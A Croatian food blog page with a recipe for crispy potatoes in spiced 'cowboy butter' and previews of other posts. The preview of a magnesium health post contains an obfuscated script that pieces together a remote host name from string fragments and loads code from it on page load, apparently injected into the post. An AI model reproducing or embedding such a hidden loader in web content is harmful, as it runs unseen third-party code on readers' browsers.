KRUMPIRI S KAUBOJSKIM MASLACEM 🥔






Krumpiri s kaubojskim maslacem 




Ovi krumpiri s kaubojskim maslacem bogati su, aromatični i neodoljivo kremasti iznutra, dok su izvana hrskavi i zlatni, baš kako volimo. Maslacu s češnjakom i začinskim biljem čili i mljevena paprika daju pikantnost, limun svježinu, a dijon senf i dimljena paprika dubinu. Savršen je prilog uz pečeno meso ili – bilo što drugo.


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>


Krumpiri s kaubojskim maslacem 


Sastojci:

  • 115 g neslanog maslaca, omekšalog
  • 4 režnja češnjaka, sitno nasjeckana
  • 2 žlice sitno sjeckanog svježeg peršina i vlasca, plus dodatno za posipanje
  • 2 čajne žličice dijon senfa
  • 1 čajna žličica sitno naribane limunove korice
  • 2,5 ml svježe iscijeđenog limunova soka
  • 1 čajna žličica dimljene paprike
  • 1/2 čajne žličice svježe mljevenog crnog papra
  • 1/2 čajne žličice svježeg timijana, sitno sjeckanog
  • 1/4 čajne žličice čilija u prahu
  • 1/4 čajne žličice usitnjenih pahuljica crvene paprike
  • 1 1/2 čajna žličica krupne soli, podijeljeno
  • 900 g krumpira, oguljenog i narezanog na ploške debljine oko 1,5 cm
  • 30 ml maslinova ulja
  • 240 ml pilećeg temeljca
  • kriške limuna, za posluživanje




Priprema:

  1. U zdjeli pomiješajte maslac, češnjak, začinsko bilje, dijon senf, limunovu koricu i sok, dimljenu papriku, crni papar, timijan, čili u prahu, pahuljice crvene paprike i jednu čajnu žličicu soli. Miješajte dok ne dobijete ujednačenu smjesu.
  2. Polovicu pripremljene smjese prebacite u manju zdjelicu, pokrijte i stavite u hladnjak na oko 30 minuta ili dok se ne stisne.
  3. Zagrijte pećnicu na 260 stupnjeva. Rešetku postavite u gornju trećinu pećnice.
  4. U većoj zdjeli pomiješajte krumpir, maslinovo ulje, preostalih 1/2 čajne žličice soli i preostalu polovicu maslaca. Dobro promiješajte da se krumpir ravnomjerno obloži.
  5. Posložite krumpir u jednom sloju u metalni lim za pečenje dimenzija 23 x 33 cm. Ostatke maslaca iz zdjele rasporedite po vrhu.
  6. Pecite oko 30 minuta, jednom pažljivo okrenite ploške lopaticom, dok ne postanu zlatnosmeđe i hrskave na rubovima.
  7. Pažljivo ulijte pileći temeljac u lim. Nastavite peći na 260 stupnjeva još oko 8 minuta, bez okretanja, dok krumpir ne omekša, a većina tekućine se reducira i upije.
  8. Izvadite iz pećnice i odmah dodajte ohlađeni maslac iz hladnjaka, žlicu po žlicu. Lagano protresajte lim kako bi se maslac otopio i razlio.
  9. Pospite svježim začinskim biljem i poslužite uz kriške limuna.


Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

PIKANTNA PITA OD JAJA I KRUMPIRA 🥔

Slika
https://punkufer.dnevnik.hr/clanak/hrana-i-pice/recept-za-rafanatu---958260.html Pikantna pita od jaja i krumpira  <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Ime jela dolazi od talijanske riječi  rafano , što znači hren – ključni sastojak ove fritate. Smatra se da su ga u   Basilicatu donijeli Normani još u 11. stoljeću, a s vremenom je postao neizostavan dio lokalne kuhinje. Zbog svoje dostupnosti, nutritivne vrijednosti i ljekovitih svojstava hren je bio osobito cijenjen među seljacima i pastirima, koji su ga nazivali "tartufom siromašnih" .  Pikantna pita od jaja i krumpira  Sastojci : 300 g krumpira, oguljenog, kuhanog i zgnječenog 8 jaja 80 g sira pecorino, naribanog 40 g hrena, naribanog (svježeg) sol, papar, maslinovo ulje Priprema: Zagrijte grill u pećnici na srednje jaku temperaturu. Vilicom rastresite...
Pročitajte više